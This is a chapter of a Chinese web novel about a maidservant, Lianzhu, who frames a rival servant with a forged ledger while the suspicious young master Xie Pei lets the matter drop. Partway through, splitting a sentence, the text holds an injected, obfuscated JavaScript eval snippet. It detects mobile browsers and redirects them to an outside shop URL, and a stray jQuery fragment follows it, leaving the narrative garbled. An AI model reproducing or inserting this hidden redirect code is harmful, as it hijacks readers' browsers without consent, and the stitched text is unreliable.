二门外本就人来人往，白芍吱哇乱叫引了不少下人来偷看热闹。谢渊一回府就撞见这番热闹，又看个披头散发的丫鬟张牙舞爪地就朝谢培冲去，脱口就骂：“放肆！都在胡闹什么！”


    谢渊朝谢培走去，半途却被方才摔倒的白芍堵住去路，他抬脚要跨过去，却被白芍一把抱住靴子：“老爷，老爷，奴婢冤枉...那账册上写得真是一百两...是连珠...贱人害我...”


    她颠三倒四说了一堆，让谢渊不耐，抬脚一踹，像是踹开一摊烂泥。


    这一脚正中白芍心窝，踢得她直接呕出一口血来，已是再也没有力气去闹了。王庆和瞧着喉头呜咽一声，但也绝不敢在这时候去触谢渊的眉头，只慢慢挪到白芍身边，将人揽在怀里，一个劲地流泪。


    谢渊最不喜内宅琐事闹到自己跟前，若是以往他定要连着谢培一并处置，但现下不同，谢培考中秀才，又在府学之中名列前茅，他是疼都来不及。


    故而被白芍惹出火来，待转向谢培已是和颜悦色：“培儿，这是怎么一回事？”


    谢培将白芍如何诬赖院里丫鬟偷盗，如何藏匿库房银子，又是如何无端生事一一禀明，听得谢渊绷紧面皮，两眼冒火：“岂有此理！我府里竟还有这样脏心烂肺、偷鸡摸狗的下人！给我把她拖出去，不许她再进谢府的门！”


    话毕，就听得王庆和一声“天爷”的哭嚎，墩肥的身子往后倒进泥地里，已经是出气多进气少。


    几个婆子抬了母女两个出去，谢渊看也不看，只记着谢培院里仅有四个丫鬟，如今又赶出去一个，眼里的怒色渐渐淡下去，又思及袁氏一碗水端不平，闹得他来扫尾，已是怨上这等不晓事的妇人，不悦道：“也是我忽视了，你大哥成婚之前屋里六个丫鬟不算，还有一个管事嬷嬷，两个洒扫婆子。你身边人是太少了，也没个得力的照应，才让这些下作东西欺到头上来。”


    他想了想：“方才你说今日是哪个帮的忙？”


    “回父亲的话，是从前祖母跟前的锦绣。”谢培规矩答道。


    锦绣也赶紧上前一步，屈膝行礼。


    谢渊看了面色沉稳的锦绣一眼，是觉得有些眼熟，抚须点头：“不愧是老太太调教出来的人，如今在哪里当差？”


    谢渊听她说是在宴客厅管事，直接大手一挥指了她去清月阁，又道：“回头让你母亲再挑两个好的，你是谢家的子孙，没得在这些小事上委屈了你。”


    谢培待要拒绝，却见谢渊摆摆手不耐这些琐事：“行了，刚回来就处置这样一通烦心事，赶紧回去吧。”


    看热闹的散了，谢培身后跟着锦绣、连珠一干人往清月阁去。


    这事处理得雷厉风行，谢培没有想到剪除白芍如此容易。他偏头垂目去看身后连珠裙摆下断续露出的鞋尖。


    如此顺畅，如此容易，他本就多疑，更觉奇怪。


    他思及连珠今日的反常，愈发觉得像是一个连环套。


    可她是如何做到的？


    白芍轻浮，但也绝不是个彻头彻尾的蠢货，真就堂而皇之地从库房里偷了银子，连账册上的记录也不抹去？


    谢培想起白芍反复强辩的一百两，她为何在证据确凿时执拗地咬着这个数字不放？


    难道...


    可是那账册他也翻看过，确实没有涂改的痕迹，如果连珠作假，她又是用了什么手段？


    叶子打着旋儿落在脚边，谢培跨过清月阁的门槛，对着锦绣道：“锦绣，你既进了清月阁就接了白芍的活计，今夜大家也都乏了，你回宴客厅住也可，收拾东西来这儿也可，自己做主吧。”


    他说到这里，侧过半张脸对着连珠：“你跟我来。”


    兰儿瞧着连珠跟在三少爷身后，心底莫名一沉，刚刚路上她把这几日的事来回想了两遍，总觉得不好。


    她想起连珠那晚说的话。


    “我想怎么过平静日子。”


    总不能这件事是连珠耍的手段，还被三少爷发现了吧！


    想到这里，兰儿好似头顶炸响一颗焦雷，怔在原地，已是替连珠担忧起来。


    谢培唤了连珠进屋，桌上重新摆了热好的饭菜，谢培吃了几口，仍惦记方才心中的疑虑。


    “你...”


    “三少...”


    两人同时开口，视线相触皆是抿嘴笑了，气氛轻松不少。


    “你要说什么？”谢培停了筷箸。


    “我说...”连珠一指他的袖口，“三少爷在府学该是用功读书的，连袖口沾了墨都不知。”


    谢培不知她要说的是这个，翻了袖口低头去看，果然是染了墨渍。


    想来是听金环说起院里的事，一时心急，才没发现。


    他复又抬头，就见连珠拿了件新褂子过来：“先换上，回头我替你洗了。”


    “是不是难洗得很？”


    “也不难，倒些白醋揉搓，再用胰子...”连珠说了一半觉得谢培该是不耐烦听这些，又住了口。


    “是了，你说过的。”谢培目光悠悠，已是想起从前的事。


    念及连珠这一年多替他做得一桩桩一件件，尽是满腹真心替他考虑，突然对白芍偷盗一事的背后真相就没那么执着了。


    那银子反正不是平白飞到白芍屋里，她既然心存歹念，那打发出府就不算冤枉她。


    谢培深深看了连珠几眼，又放柔声音道：“冬日水凉，你让她们去洗。回头我让金环去给你买些护手的乳膏，听说回春堂的就很好。”


    “不用，我有呢。”连珠不肯叫他区别对待，又生出之前白芍那样的事端来，赶紧拒绝。


    谢培却不听她的：“你有归你有。”


    他说完又看连珠，只是几日不见，好像瘦了一点，下巴尖了，腰也细...


    少年人新鼓起的喉结微微涌动，他忽而想起大年三十的荒唐梦，耳根骤然发烫。


    他脑子里一团溶溶春水杨花梦，别开眼去不敢再看，又故作掩饰地咳嗽两声，挥手让连珠下去：“你也下去用饭吧，这儿不用伺候了。”


    连珠放了帘子去烧热水，准备趁夜将衣裳洗了。她早知道今晚要闹一出，提前吃了两个烧饼，现下还不饿。


    小厨房炉子里还有些余火，连珠又添了两块煤饼，把铜壶里的水加满。


    不多时壶嘴里冒出声，连珠起身提壶，就听房门开了。兰儿端着个碗，一低头正和连珠对上，想到自己这两日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151055|195488||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对她爱答不理，面上透出些尴尬。


    她是心里藏不住事的人，心里有个疑，就抓耳挠腮地难受。好奇的心思占了上风，她也就厚着脸皮走到连珠身边。


    “你晚饭没吃，这个给你。”一碗笋泼肉面还冒着热气。


    连珠看她别别扭扭的梗着脖子，噗嗤一笑，拉了她的手坐下：“气消了？”


    兰儿好哄得很，单连珠牵她这一下，她便什么火都没了，只嘟着嘴笑道：“你还说呢！我要真气你，还巴巴地来送什么饭！”


    “好。”连珠也不纠缠，点了她的脑门道，“是我小人之心度君子之腹，成不成？”


    “成！”兰儿咧嘴一笑，把面往她前面推了推，抱臂看着她吃。她性子急，等不及连珠吃两口，就闪着亮晶晶的眸子问，“白芍真偷拿了库房的银子？”


    “刚刚三少爷审她的时候，你不是也在？”


    兰儿对她避而不答的态度有些不满，蹭到连珠的身边：“你不准跟我绕圈子，你那天说想过安生日子，第二日就拿了账册给白芍。三少爷才回来，你就提出要抄检屋子，刚好便拿住了白芍的错处。是不是...”


    她打破砂锅想要问到底，又怕连珠不信她，举了三根手指发誓：“好人，你就告诉我吧，我保证不跟人说！”


    “我那天是说了这话，可白芍犯浑私藏银子的事，我哪能未卜先知？”连珠自不能将实话袒露人前，只好说，“一来，是白芍手脚不干净，她做了亏心事，即便今日不被发现，往后也总有暴露的一日。”


    “那二来呢？”


    “二来，当然是你心诚则灵，所求如愿了。”


    兰儿不成想她又是在逗自己，伸手就要去捞碗：“好啊，你个促狭鬼，我白心疼你了！”


    连珠被她闹得讨饶，又趁机岔开话头：“青芝呢？”


    “在屋里收拾东西呢，不是老太太跟前那位锦绣姐姐要住进来，她殷勤备着。”兰儿又偷摸凑到连珠耳边，“其实是被吓怕了，觉得她比白芍还要厉害！”


    兰儿又说了几句“还好是非精走了”之类的话，可想到白芍被抬出去的那份惨状，也是心有戚戚，也没精神骂她了。


    连珠挑了面吃，想的却是自己这回行的这步棋。


    谢培疑，兰儿猜，就连当事者白芍也至死不明。其实，她不过是用了个笨办法，从头将账册抄了了一遍。前头仿着白芍的笔迹，后头仿着自己故意写得歪歪扭扭的笔迹，哪里会有什么涂改呢？


    给白芍的账册是新抄的，偷偷从白芍房里换出来的也是新抄的，放在醪糟蛋花下炉子里烧成灰烬的也是新抄的。


    落在主子们手里的还是原原本本的那一份。


    谢培想不到，不过是因着他不知她会模仿笔迹，那鸡爪一般的丑字是她仿着写的，那白芍的字也是她仿了写的。


    若白芍没偷钱，今日就是真的去寻那支赤金梅花簪，无论寻没寻到，白芍都不过是无端生事的小错。


    连珠闭了闭眼，她其实早知道。


    和白芍盘库的那日，自己被她支出去，就知道她一定会被赶出府。


    她自觉不是什么大恶之人，却也并非什么善人，不过是个只为自己的俗人罢了。